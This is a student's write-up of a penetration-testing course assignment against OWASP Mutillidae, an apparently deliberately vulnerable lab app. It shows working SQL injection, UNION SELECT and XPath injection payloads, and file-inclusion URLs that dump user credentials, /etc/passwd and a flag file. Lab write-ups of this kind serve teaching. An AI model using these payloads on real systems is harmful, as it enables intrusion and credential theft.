**Q1. Which pages/top 20 controls did you test and how did you compromise them. What data was returned? Try at minimum 3 different controls to compromise.**

I was able to exploit following vulnerabilities in the controls:

***1.    A01 - Using SQL injection to extract user info***

I was able to obtain all the users on the system by exploiting an SQL injection vulnerability  
  
On the user info page (<http://128.198.49.198:8102/mutillidae/index.php?page=user-info.php>), a single quote, an invalid character,  caused an error page which showed us which SQL query was used:  
  SELECT \* FROM accounts WHERE username=''' AND password=''  
  
Knowing that we can manipulate the original SQL Query, we can make a query to mysql with an OR and a statement that is true.  
Query:  
    SELECT \* FROM accounts WHERE username=''OR 1=1 -- ' AND password=''  
Output  
    A list of ALL the users  
  
  Username=admin  
  Password=adminpass  
  Signature=g0t r00t?  
  
  Username=adrian  
  Password=somepassword  
  Signature=Zombie Films Rock!  
  
  Username=john  
  Password=monkey  
  Signature=I like the smell of confunk  
  
  Username=jeremy  
  Password=password  
  Signature=d1373 1337 speak  
 ***2. A4 - Broken Access Control - Exploiting an Arbitrary File Inclusion.***  
  
<http://128.198.49.198:8102/mutillidae/index.php?page=arbitrary-file-inclusion.php>  
  
The page displayed is decided by the value in the page parameter  
  
So if we want to look at /etc/passwd, we just need to replace the value of the page parameter.  
    <http://128.198.49.198:8102/mutillidae/index.php?page=/etc/passwd>  
  
Output  
    root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin abrt:x:173:173::/etc/abrt:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin chrony:x:997:996::/var/lib/chrony:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin greg:x:1000:1000:greg:/home/greg:/bin/bash splunk:x:1001:1001:Splunk Server:/opt/splunk:/bin/bash systemd-bus-proxy:x:996:994:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin  
     
But we want: /var/coursera/flag.txt, sooo..  
  
Output:  
    Q29uZ3JhdHVsYXRpb25zLCB5b3UgZ290IHRoZSBmbGFn  
  
  
  
***3. A10 - Unprotected APIs - REST API***  
  
  
  
Using a REST API client and  following the instructions in <http://128.198.49.198:8102/mutillidae/webservices/rest/ws-user-account.php>, I could obtain a list of all usernames using: an HTTP GET on [http://128.198.49.198:8102/mutillidae/webservices/rest/ws-user-account.php?username=jeremy'+union+se...](http://128.198.49.198:8102/mutillidae/webservices/rest/ws-user-account.php?username=jeremy%27+union+select+concat%28username,%27+:+%27,+password%29,mysignature+from+accounts+--)+  
  
  
Result: Result: {Accounts: {[{"username":"jeremy","mysignature":"d1373 1337 speak"},{"username":"admin :  
adminpass","mysignature":"g0t r00t?"},{"username":"adrian : somepassword","mysignature":"Zombie Films  
Rock!"},{"username":"john : monkey","mysignature":"I like the smell of confunk"},{"username":"jeremy :  
password","mysignature":"d1373 1337 speak"},{"username":"bryce : password","mysignature":"I Love  
SANS"},{"username":"samurai : samurai","mysignature":"Carving fools"},{"username":"jim : password","mysignature":"Rome  
is burning"},{"username":"bobby : password","mysignature":"Hank is my dad"},{"username":"simba :  
password","mysignature":"I am a super-cat"},{"username":"dreveil : password","mysignature":"Preparation  
H"},{"username":"scotty : password","mysignature":"Scotty do"},{"username":"cal : password","mysignature":"C-A-T-S Cats  
Cats Cats"},{"username":"john : password","mysignature":"Do the Duggie!"},{"username":"kevin : 42","mysignature":"Doug  
Adams rocks"},{"username":"dave : set","mysignature":"Bet on S.E.T. FTW"},{"username":"patches :  
tortoise","mysignature":"meow"},{"username":"rocky : stripes","mysignature":"treats?"},{"username":"tim :  
lanmaster53","mysignature":"Because reconnaissance is hard to spell"},{"username":"ABaker :  
SoSecret","mysignature":"Muffin tops only"},{"username":"PPan : NotTelling","mysignature":"Where is  
Tinker?"},{"username":"CHook : JollyRoger","mysignature":"Gator-hater"},{"username":"james : i  
<3devs","mysignature":"Occupation: Researcher"},{"username":"ed : pentest","mysignature":"Commandline KungFu  
    anyone?"}]}}

**Q2. Even though this project is very ambiguous, how did you approach the problem like a black box pen test?**

Black box penetration testing doesn't require any prior information about the target network or application. Hence as explained in above scenarios, when i tried to retrieve the information from database in an unconventional way, i received results which i should not as i am not an administrator of that application. Hence i tried with a scenario as a real world hacker do. And found many issues. This testing is performed to identify the risks and threats from an insiders or outside hacker.  
By performing initial analysis of the system i was able to gather system information like   
it's a linux (CentOS) system with components like:

* Apache/2.4.6 (CentOS)
* OpenSSL/1.0.1e-fips mod\_fcgid/2.3.9
* PHP/5.4.16
* the database is 5.5.50-MariaDB (a mysql fork)

the Information was gathered by exploiting a Sensitive Information Disclosure vulnerability by calling the page for php info:  <http://128.198.49.198:8102/mutillidae/index.php?page=phpinfo.php>  
Then by playing around with the login form and generating an error by adding a single quote, it was possible to find out the SQL used and attempt to then attempt to manipulate it.

**For 1st Control: A1-Injection (SQL)>SQL-Extract Data**  
<http://128.198.49.198:8102/mutillidae/index.php?page=user-info.php&username=ramregu&password=password&user-info-php-submit-button=View+Account+Details>  
**Clicked on "Switch to XPath version"**when being on above URL and entered following against Name  
Against Name: inserted ' OR 1='1'   
Clicked on "**Click Here to View XML"**to my surprise it displayed all the details of the accounts existing in database. see below:

* Total 23 records found with Employee id, password, signature, and type of the user. It displayed all the user accounts in the database (except the username and password i created.) -But displaying all other users details along with their employee ID is a **Critical Vulnerability**

**similarly by exploiting the architecture of the system i performed the vulnerability test of other controls.**

**Q3. What worked well? What did not work well?**

By performing initial analysis of the system i was able to gather system information like   
it's a linux (CentOS) system with components like:

* Apache/2.4.6 (CentOS)
* OpenSSL/1.0.1e-fips mod\_fcgid/2.3.9
* PHP/5.4.16
* the database is 5.5.50-MariaDB (a mysql fork)

the Information was gathered by exploiting a Sensitive Information Disclosure vulnerability by calling the page for php info:  <http://128.198.49.198:8102/mutillidae/index.php?page=phpinfo.php>  
Then by playing around with the login form and generating an error by adding a single quote, it was possible to find out the SQL used and attempt to then attempt to manipulate it.

These very simple vulnerabilities worked really well.I initially struggled to understand the logic behind using comments to add commands to SQL injection attempts, but with some online guidance, I quickly grasped the concept.

**For 1st Control: A1-Injection (SQL) -** **Worked well:**After switching to **"Switch to XPath version"**when i tried to enter ' OR 1='1' against username (Name) on the page to retrieve all the username and passwords from database. I am able to retrieve all the details including Employee id, Name, Password, Type etc.  **For 1st Control: A1-Injection (SQL) -** **Did not Work Well is as follows:**When i tried enter ' OR 1='1' when i was on **User Lookup (SQL)**it gave me "Authentication Error: Bad user name or password."   
  
The inputs were relatively easy to make , but i couldn't make then automated and with a pattern , so i guess automation did not worked well. retrieving some raw data is on the success side, but also being completely blocked by malware defenses is a huge minus

-

**Q4. Try finding an exploit that allows you to run command injection. If you can, what is located at /var/coursera/flag.txt? Explain how you went about compromising the system to gain information.**

file Content:-  Q29uZ3JhdHVsYXRpb25zLCB5b3UgZ290IHRoZSBmbGFn

STEP 1:

Using the the Arbitrary File Inclusion vulnerability via the URL:

<http://128.198.49.198:8102/mutillidae/index.php&page=arbitrary-file-inclusion.php>

STEP 2:

The page displayed is decided by the value in the page parameter, and if that is the case, we can have a look at /etc/passwd with the URL: <http://128.198.49.198:8102/mutillidae/index.php?page=/etc/passwd>

STEP 3:

output: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon...  
It works, and I can see all the system usernames from that file, so I just had to replace the filename with /var/coursera/flag.txt, resulting in  
the URL: <http://128.198.49.198:8102/mutillidae/index.php?page=/var/coursera/flag.txt>